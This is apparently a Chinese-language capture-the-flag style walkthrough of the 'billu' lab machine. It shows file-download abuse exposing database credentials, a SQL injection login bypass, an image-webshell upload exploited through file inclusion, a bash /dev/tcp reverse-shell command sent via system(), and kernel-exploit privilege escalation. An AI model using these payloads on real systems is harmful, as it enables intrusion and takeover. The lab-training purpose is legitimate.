记一次靶场实战【网络安全】_网络靶场靶标
haoteby 2025-09-08 20:47 23 浏览
前言
【一一帮助安全学习,所有资源关注我,私信回复“资料”免费领取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、信息收集
先用nmap扫一下ip。
锁定靶机ip为192.168.250.131,接下来扫一扫端口和系统。
可以得到靶机开放了22和80端口,使用的是Apache2.2.22和Ubuntu,内核是Linux3.2-4.9。
接下来用御剑暴破下目录。
从暴破结果可以发现其使用的是php。
二、漏洞挖掘
打开192.168.250.131,出现如下页面。
既然其告诉了我们“Show me your SQLI skills”,那就先用admin’or 1=1 # 尝试一下,发现报错。
因为我们还有很多其他的暴破出的目录没有看,所以简单尝试失败后就先暂时不考虑这个sql注入的问题,毕竟有可能是靶机作者故意写一段话让我们浪费时间的。
接下来尝试访问后台目录。
首先先尝试第一个test.php,点击进去之后提示“‘file’ parameter is empty. Please provide file path in ‘file’ parameter”,这表明该页面需要一个file的数据,那我们就给它一个文件路径试一下。
考虑到传参方式可能为GET也可能为POST,所以我们两个都要试一下。
用HackBar进行GET请求“
http://192.168.250.131/test.php?file=/etc/passwd”,发现并没有反应。
继续使用POST请求,发现文件被成功下载下来了。
这样就为我们打开了一个突破口。接下来我们就可以将后台文件全部下载下来并进行代码审计工作,看看能不能从中发现些重要信息。
这里我主要发现了三个重要的文件。
1、in.php
<?php
phpinfo();
?>
当我们访问
http://192.168.250.131/in.php的时候,可以直接打开phpinfo()。
2、c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
这是数据库连接文件,里边包含了数据库账号密码和库名("billu","b0x_billu","ica_lab")。
3、index.php
这个文件是我们刚刚打开的登陆首页,里面有一段代码。
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
}
这里给了我们SQL注入的提示。
除此之外,我们还获得了其他没有扫描出来的文件信息,如head2.php,这些文件同样可以下载下来看一看。
关于phpinfo中的信息我们可以稍作留意,接下来主要是根据获得的信息分别尝试SQL注入和登录数据库。
1、SQL注入
首先先查看SQL语句'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'',我们把转义以及用来连接的.整理一下,实际上的SQL语句就是select * from auth where pass='$pass' and uname='$uname'。
因此我们可以构造name为or 1=1#,password为\,这样子SQL语句就变为了select * from auth where pass='\' and uname='or 1=1#',也就完成了登录绕过。
注意,在这里有一个小变化。通常情况下我们是将user放在前,password放在后的,但是进行了调换。如果我们进行黑盒测试并且猜到了可能过滤了单引号,使用name=\,password=or 1=1#这样的方式尝试绕过,也会被阻挡。
这也给了我们一个提示,进行SQL注入黑盒测试的时候可以把用户名和密码调换过来试一试。
2、数据库
除了尝试SQL注入,我们也可以看一下数据库的内容,从中找到用户名密码。但是御剑暴破出的后台路径并没有和数据库相关的目录,因此我们还可以使用dirb的big.txt字典继续暴破一下。
最终成功找到了phpmy这个目录,打开之后使用之前获取到的用户名和密码完成登录。
最终成功的从auth表中获取到了登陆的用户名和密码。
三、反弹Shell
成功登录后,我们发现该Web系统提供了两个功能,一个是列出所用用户,另外一个添加新用户并且上传头像。看到上传图片功能我们就应该想到可能存在文件上传漏洞。与此同时,由于我们下载了对应的文件,因此可以先审计一下上传的规则,具体的文件是panel.php。
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
上述两段代码分别描述了文件上传和文件包含两个内容。可以看到文件上传时会对文件后缀和文件类型分别进行判断,此时我们可以利用图片木马的方式进行绕过。与此同时,panel.php还有文件包含漏洞,这也是我们可以利用的。
先做一个图片马上传试试看。
上传成功。
接下来我们就要利用文件包含漏洞了,还是根据刚刚的代码,我们可以看到首先其对continue进行了判断是否为空,然后对load进行了./的过滤,这也就意味着我们最好不要使用相对路径。分析完这些,我们就可以使用hackbar传个值试一下,例如“load=uploaded_images/muma.gif&continue=continue&try=phpinfo();”
可以看到,图片码运行的很好。接下来我们就可以使用多种方法去获得shell并反弹了。
这里,我首先选择的是通过命令echo "bash -i >&
/dev/tcp/192.168.250.128/8888 0>&1" | bash来反弹shell。
开启nc的监听,然后通过try=system('
echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.250.128%2F8888%200%3E%261%22%20%7C%20bash');来反弹shell,需要注意的是命令echo "bash -i >&
/dev/tcp/192.168.250.128/8888 0>&1" | bash需要进行url编码,否则里边的双引号可能会导致命令运行不成功。
如此操作我们就成功的反弹了shell。
四、提升权限
可以看到我们目前是一个普通用户,即使获取了shell仍然需要进行提权操作。
由于当前的shell并不是很方便我们的后续操作,因此我们可以写入一个蚁剑的木马,使用蚁剑进行连接。
对于提权的方式,因为靶机的操作系统比较老,存在的漏洞可能会更多,因此我选择的是查找内核和操作系统是否存在提权漏洞可以完成权限提升。
根据对应的ubuntu版本,我们找到了不少可利用的漏洞。
先试试第一个37292.c。
成功完成提权。
相关推荐
- 如何随时清理浏览器缓存_清理浏览器缓存怎么弄
-
想随时清理浏览器缓存吗?Cookieformac版是Macos上一款浏览器缓存清理工具,所有的浏览器Cookie,本地存储数据,HTML5数据库,FlashCookie,Silverlight,...
- Luminati代理动态IP教程指南配置代理VMLogin中文版反指纹浏览器
-
介绍如何使用在VMLogin中文版设置Luminati代理。首先下载VMLogin中文版反指纹浏览器(https://cn.vmlogin.com)对于刚接触Luminati动态ip的朋友,是不是不懂...
- mac清除工具分享,解除您在安全方面的后顾之忧
-
想要永久的安全的处理掉重要数据,删除是之一,使用今天小编分享的mac清除工具,为您的操作再增一层“保护”,小伙伴慎用哟,一旦使用就不可以恢复咯,来吧一起看看吧~mac清除工具分享,解除您在安全方面的后...
- 取代cookie的网站追踪技术:”帆布指纹识别”
-
【前言】一般情况下,网站或者广告联盟都会非常想要一种技术方式可以在网络上精确定位到每一个个体,这样可以通过收集这些个体的数据,通过分析后更加精准的去推送广告(精准化营销)或其他有针对性的一些活动。Co...
- 辅助上网为啥会被抛弃 曲奇(Cookie)虽甜但有毒
-
近期有个小新闻,大概很多小伙伴都没有注意到,那就是谷歌Chrome浏览器要弃用Cookie了!说到Cookie功能,很多小伙伴大概觉得不怎么熟悉,有可能还不如前一段时间被弃用的Flash“出名”,但它...
- 浏览器指纹是什么?浏览器指纹包括哪些信息
-
本文关键词:浏览器指纹、指纹浏览器、浏览器指纹信息、指纹浏览器原理什么是浏览器指纹?浏览器指纹是指浏览器的各种信息,当我们访问其他网站时,即使是在匿名的模式下,这些信息也可以帮助网站识别我们的身份。...
- 那些通用清除软件不曾注意的秘密_清理不常用的应用软件
-
系统清理就像卫生检查前的大扫除,即使你使出吃奶的劲儿把一切可能的地方都打扫过,还会留下边边角角的遗漏。随着大家电脑安全意识的提高,越来越多的朋友开始关注自己的电脑安全,也知道安装360系列软件来"武装...
- 「网络安全宣传周」这些安全上网小知识你要知道!
-
小布说:互联网改变了人们的衣食住行,但与之伴生的网络安全威胁也不容忽视。近些年来,风靡全球的勒索病毒、时有发生的电信诈骗、防不胜防的个人信息泄露时时刻刻都威胁着我们的生活。9月18日-24日是第四届...
- TypeScript 终极初学者指南_typescript 进阶
-
在过去的几年里TypeScript变得越来越流行,现在许多工作都要求开发人员了解TypeScript...
- jQuery知识一览_jquery的认识和使用
-
一、概览jQuery官网:https://jquery.com/jQuery是一个高效、轻量并且功能丰富的js库。核心在于查询query。...
- 我的第一个Electron应用_electronmy
-
hello,好久不见,最近笔者花了几天时间入门Electron,然后做了一个非常简单的应用,本文就来给各位分享一下过程,Electron大佬请随意~笔者开源了一个Web思维导图,虽然借助showSav...
- HTML5 之拖放(Drag 和 Drop)_html拖放api
-
简介拖放是一种常见的特性,即抓取对象以后拖到另一个位置。在HTML5中,拖放是标准的一部分,任何元素都能够拖放。先点击一个小例子:在用户开始拖动<p>元素时执行JavaScrip...
- 如何用JavaScript判断输入值是数字还是字母?
-
在日常开发中,我们有时候需要判断用户输入的是数字还是字母。本文将介绍如何用JavaScript实现这一功能。检查输入值是否是数字或字母...
- 图形编辑器开发:快捷键的管理_图形编辑工具
-
大家好,我是前端西瓜哥。...
- 浏览器原生剪贴板:原来它能这样读取用户截图!
-
当我们使用GitHub时,会发现Ctrl+V就能直接读取用户剪贴板图片进行粘贴,那么它是如何工作的?安全性如何?...